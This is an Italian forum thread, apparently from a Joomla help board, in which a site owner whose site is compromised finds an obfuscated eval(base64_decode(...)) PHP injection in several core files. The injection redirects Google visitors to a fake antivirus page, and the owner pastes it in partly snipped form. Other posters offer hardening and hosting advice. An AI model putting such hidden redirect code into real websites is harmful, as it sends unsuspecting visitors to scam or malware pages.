[RISOLTO]Problema virus dal link di google!

[efrite15]

Buongiorno a tutti, da qualche giorno, cercando il mio sito da google (foto tarzia) anziché aprire il sito in questione va sulla pagina di un fittizzio programma antivirus.
So che per ripristinare la situazione devo ricaricare un file, ma non ricordo quale... qualcuno può aiutarmi?
Ho anche aggiornato dalla 1.5.20 alla 1.5.22 ma il problema persiste.....

[jospic]

Ma se inserisci l'indirizzo nella barra del browser direttamente hai lo stesso problema?
Se sì allora potrebbero averti hackerato il file "index.php".

Saluti.
-jospic

[efrite15]

Ma se inserisci l'indirizzo nella barra del browser direttamente hai lo stesso problema?
Se sì allora potrebbero averti hackerato il file "index.php".

Saluti.
-jospic

No, se lo inserisco direttamente nessun problema.
Ho notato che in diversi file

administrator\index.php
administrator\index2.php
administrator\index3.php
include\framework.php
libraries\loader.php
logs\logsentinelle.php
xmlrpc\client.php
xmlrpc\index.php

trovo il codice sotto riportato:

Codice: [Seleziona]

eval(base64_decode("ZXJyb3JfcmVwb3J0aW5nKDApOw0KJG5jY3Y9aGVhZGVyc19zZW50KCk7DQppZi
AoISRuY2N2KXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YT0kX1NFUlZFUlsn
SFRUUF9VU0VSX0FHR<snip>yaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJ
lciwiaW51cmwiKSl7CQkNCgkJaGVhZGVyKCJMb2NhdGlvbjogaHR0cDovL2J1eW9yZGllLm9zYS5wbC8iKTs
NCgkJZXhpdCgpOw0KCX0NCn0NCn0="))

L'ho tolto ma il problema persiste... che sia ancora da qualche altra parte??...

[efrite15]

Risolto aprendo tutti i file PHP e cancellando il codice contenuto all'interno...
in più ho cancellato un file, di cui non mi ricordo il nome, che conteneva solo 2 righe inerenti quel codice... boh ....
Sarebbe utile capire a cosa è dovuto ...

[rastaazze]

con ottima probabilita al tuo hosting (fammi indovinare è molto popolare e diffuso vero?).
Se è cosi sono un groviera.
Metti tutti i file comuni (index ecc) come non scrivibili e stai attentissimo che non ci siano porcate in cgi-bin
non dico che risolvi ma almeno qualcosa la chiudi.
ciao!

[efrite15]

con ottima probabilita al tuo hosting (fammi indovinare è molto popolare e diffuso vero?).
Se è cosi sono un groviera.
Metti tutti i file comuni (index ecc) come non scrivibili e stai attentissimo che non ci siano porcate in cgi-bin
non dico che risolvi ma almeno qualcosa la chiudi.
ciao!

Se conosci qualcosa di meglio son tutte orecchie  ....
La cosa strana è che ho una decina di siti appoggiati li, e questo è l'unico che da problemi, nonostante sia il più aggiornato...

[rastaazze]

un server casalingo è la cosa miglior, ad ogni modo anche joomlahosting è consigliato!
ti dico  a me capita regolarmenre sta cosa su quel provider... e non è colpa mia te lo dico per certo

[efrite15]

un server casalingo è la cosa miglior, ad ogni modo anche joomlahosting è consigliato!
ti dico  a me capita regolarmenre sta cosa su quel provider... e non è colpa mia te lo dico per certo

Server casalingo...  ...?.... mmm, mi sa che abbiamo visioni completamente diverse ! A parte che ho appoggiato diversi siti (circa una decina adesso), inoltre mi serve una buona banda, in più, backup ADSL, gruppo di continuità ecc ecc ...
Joomlahost mi è stato sconsigliato da più parti.. alla fine tutti parlano male di tutti, e a sentire gli utenti, non c'è UN servizio valido  Questa l'idea che mi sono fatto...